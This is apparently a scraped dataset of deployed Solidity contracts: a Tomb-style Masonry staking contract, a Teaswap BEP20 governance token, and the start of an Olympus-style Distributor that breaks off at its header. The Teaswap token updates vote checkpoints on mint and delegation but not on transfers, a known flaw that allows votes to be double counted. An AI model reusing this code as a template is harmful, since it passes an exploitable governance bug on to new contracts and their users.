uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ContractGuard {
mapping(uint256 => mapping(address => bool)) private _status;
function checkSameOriginReentranted() internal view returns (bool) {
return _status[block.number][tx.origin];
}
function checkSameSenderReentranted() internal view returns (bool) {
return _status[block.number][msg.sender];
}
modifier onlyOneBlock() {
require(!checkSameOriginReentranted(), "ContractGuard: one block, one function");
require(!checkSameSenderReentranted(), "ContractGuard: one block, one function");
_;
_status[block.number][tx.origin] = true;
_status[block.number][msg.sender] = true;
}
}
interface IBasisAsset {
function mint(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
function burnFrom(address from, uint256 amount) external;
function isOperator() external returns (bool);
function operator() external view returns (address);
function transferOperator(address newOperator_) external;
}
interface ITreasury {
function epoch() external view returns (uint256);
function nextEpochPoint() external view returns (uint256);
function getRunePrice() external view returns (uint256);
function buyBonds(uint256 amount, uint256 targetPrice) external;
function redeemBonds(uint256 amount, uint256 targetPrice) external;
}
contract ShareWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public share;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public virtual {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
share.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public virtual {
uint256 masonShare = _balances[msg.sender];
require(masonShare >= amount, "Masonry: withdraw request greater than staked amount");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = masonShare.sub(amount);
share.safeTransfer(msg.sender, amount);
}
}
contract Masonry is ShareWrapper, ContractGuard {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Masonseat {
uint256 lastSnapshotIndex;
uint256 rewardEarned;
uint256 epochTimerStart;
}
struct MasonrySnapshot {
uint256 time;
uint256 rewardReceived;
uint256 rewardPerShare;
}
// governance
address public operator;
// flags
bool public initialized = false;
IERC20 public rune;
ITreasury public treasury;
mapping(address => Masonseat) public masons;
MasonrySnapshot[] public masonryHistory;
uint256 public withdrawLockupEpochs;
uint256 public rewardLockupEpochs;
event Initialized(address indexed executor, uint256 at);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardAdded(address indexed user, uint256 reward);
modifier onlyOperator() {
require(operator == msg.sender, "Masonry: caller is not the operator");
_;
}
modifier masonExists {
require(balanceOf(msg.sender) > 0, "Masonry: The mason does not exist");
_;
}
modifier updateReward(address mason) {
if (mason != address(0)) {
Masonseat memory seat = masons[mason];
seat.rewardEarned = earned(mason);
seat.lastSnapshotIndex = latestSnapshotIndex();
masons[mason] = seat;
}
_;
}
modifier notInitialized {
require(!initialized, "Masonry: already initialized");
_;
}
function initialize(IERC20 _rune,
IERC20 _share,
ITreasury _treasury) public notInitialized {
rune = _rune;
share = _share;
treasury = _treasury;
MasonrySnapshot memory genesisSnapshot = MasonrySnapshot({time : block.number, rewardReceived : 0, rewardPerShare : 0});
masonryHistory.push(genesisSnapshot);
withdrawLockupEpochs = 6; // Lock for 6 epochs (36h) before release withdraw
rewardLockupEpochs = 3; // Lock for 3 epochs (18h) before release claimReward
initialized = true;
operator = msg.sender;
emit Initialized(msg.sender, block.number);
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function setLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external onlyOperator {
require(_withdrawLockupEpochs >= _rewardLockupEpochs && _withdrawLockupEpochs <= 56, "_withdrawLockupEpochs: out of range"); // <= 2 week
withdrawLockupEpochs = _withdrawLockupEpochs;
rewardLockupEpochs = _rewardLockupEpochs;
}
// =========== Snapshot getters
function latestSnapshotIndex() public view returns (uint256) {
return masonryHistory.length.sub(1);
}
function getLatestSnapshot() internal view returns (MasonrySnapshot memory) {
return masonryHistory[latestSnapshotIndex()];
}
function getLastSnapshotIndexOf(address mason) public view returns (uint256) {
return masons[mason].lastSnapshotIndex;
}
function getLastSnapshotOf(address mason) internal view returns (MasonrySnapshot memory) {
return masonryHistory[getLastSnapshotIndexOf(mason)];
}
function canWithdraw(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch();
}
function canClaimReward(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch();
}
function epoch() external view returns (uint256) {
return treasury.epoch();
}
function nextEpochPoint() external view returns (uint256) {
return treasury.nextEpochPoint();
}
function getRunePrice() external view returns (uint256) {
return treasury.getRunePrice();
}
// =========== Mason getters
function rewardPerShare() public view returns (uint256) {
return getLatestSnapshot().rewardPerShare;
}
function earned(address mason) public view returns (uint256) {
uint256 latestRPS = getLatestSnapshot().rewardPerShare;
uint256 storedRPS = getLastSnapshotOf(mason).rewardPerShare;
return balanceOf(mason).mul(latestRPS.sub(storedRPS)).div(1e18).add(masons[mason].rewardEarned);
}
function stake(uint256 amount) public override onlyOneBlock updateReward(msg.sender) {
require(amount > 0, "Masonry: Cannot stake 0");
super.stake(amount);
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public override onlyOneBlock masonExists updateReward(msg.sender) {
require(amount > 0, "Masonry: Cannot withdraw 0");
require(masons[msg.sender].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch(), "Masonry: still in withdraw lockup");
claimReward();
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
}
function claimReward() public updateReward(msg.sender) {
uint256 reward = masons[msg.sender].rewardEarned;
if (reward > 0) {
require(masons[msg.sender].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch(), "Masonry: still in reward lockup");
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
masons[msg.sender].rewardEarned = 0;
rune.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function allocateSeigniorage(uint256 amount) external onlyOneBlock onlyOperator {
require(amount > 0, "Masonry: Cannot allocate 0");
require(totalSupply() > 0, "Masonry: Cannot allocate when totalSupply is 0");
// Create & add new snapshot
uint256 prevRPS = getLatestSnapshot().rewardPerShare;
uint256 nextRPS = prevRPS.add(amount.mul(1e18).div(totalSupply()));
MasonrySnapshot memory newSnapshot = MasonrySnapshot({
time: block.number,
rewardReceived: amount,
rewardPerShare: nextRPS
});
masonryHistory.push(newSnapshot);
rune.safeTransferFrom(msg.sender, address(this), amount);
emit RewardAdded(msg.sender, amount);
}
function governanceRecoverUnsupported(IERC20 _token, uint256 _amount, address _to) external onlyOperator {
// do not allow to drain core tokens
require(address(_token) != address(rune), "rune");
require(address(_token) != address(share), "share");
_token.safeTransfer(_to, _amount);
}
}
| 321,523 | 13,163 |
aac83beca8799a844e78a51b43db87a19b6717a804c4a382eda00d0e3a1a6083
| 37,847 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x5f99ACF13CAff815DD9cB4A415c0fB34e9F4545b/contract.sol
| 4,894 | 18,995 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.6.6;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
contract Teaswap is BEP20{
constructor() public BEP20('TEAsWAP.ART', 'TSA') {
// Child construction code goes here
_mint(msg.sender, 600000000 ether);
}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (TEASwapRouter).
function mintTo(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping(address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256('EIP712Domain(string name,uint256 chainId,address verifyingContract)');
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256('Delegation(address delegatee,uint256 nonce,uint256 expiry)');
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
function delegates(address delegator) external view returns (address) {
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked('\x19\x01', domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), 'TSA::delegateBySig: invalid signature');
require(nonce == nonces[signatory]++, 'TSA::delegateBySig: invalid nonce');
require(now <= expiry, 'TSA::delegateBySig: signature expired');
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) {
require(blockNumber < block.number, 'TSA::getPriorVotes: not yet determined');
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying BAKEs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep,
address dstRep,
uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes) internal {
uint32 blockNumber = safe32(block.number, 'TSA::_writeCheckpoint: block number exceeds 32 bits');
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
}
| 256,686 | 13,164 |
fc1659436d80bc0edfe4835a6b332cb2233e1878c8d9bf9e2dfc1476d2bef0b1
| 18,012 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/53/53A9Ae68B25922b0C496E48C4FECf204Ace1A202_Distributor.sol
| 3,975 | 15,701 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
